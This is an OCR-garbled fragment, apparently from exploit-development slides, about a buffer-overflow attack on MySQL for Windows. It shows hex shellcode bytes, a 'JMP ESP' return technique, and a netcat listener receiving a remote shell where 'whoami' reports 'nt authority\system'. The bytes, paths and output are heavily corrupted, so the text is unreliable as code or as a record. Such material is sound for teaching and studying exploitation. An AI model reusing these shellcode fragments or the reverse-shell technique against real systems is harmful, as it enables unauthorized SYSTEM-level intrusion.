04 2N i 24 DO 02 0 .') 'B 45 04 C7 04 24 07 00 01 00 89 41 0OC 83 61 10 00 8E 45 08 83 61 08 00 89 01 C7 41 04 01 0
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Il from within MYSQL
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Return to a JMP ESP
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¢ Command Prompt - nc -l -p26

C:ssyscanync —1 —p2b
Microsoft Windows [Uerszion 5.2.37781
CC» Copyright 1?785-2883 Microsoft Corp.

C:xDocuments and Settings~All UserssApplication DatasMySQLSsMySQL Server S5.1%Data
>whoami

whoami
nt authorityssystem

C:xDocuments and Settings~All UserssApplication DatasMySQLSsMySQL Server S5.1%Data

>
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